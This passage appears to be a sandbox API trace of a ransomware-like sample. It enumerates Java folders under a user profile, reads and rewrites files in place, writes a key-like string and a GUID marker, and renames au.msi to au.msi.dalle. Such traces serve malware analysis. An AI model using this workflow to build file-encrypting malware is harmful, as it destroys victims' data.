lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.086] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.086] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.086] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0122.086] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0122.086] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0122.086] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.086] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.086] CloseHandle (hObject=0x618) returned 1 [0122.088] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094c58 [0122.089] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3093b88 [0122.089] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094c58 | out: hHeap=0x5e0000) returned 1 [0122.089] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.dalle")) returned 1 [0122.089] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.089] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.090] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0122.090] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0122.090] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.090] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.090] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0122.090] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.090] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094c58 [0122.090] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.092] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.094] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.095] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.095] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.096] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.096] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0122.096] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.096] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.096] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.096] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.096] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.096] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.096] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.096] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.096] PathFindFileNameW (pszPath="") returned="" [0122.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.098] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.098] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.098] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0122.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0122.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.098] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=719) returned 1 [0122.098] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.100] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.100] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.101] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, 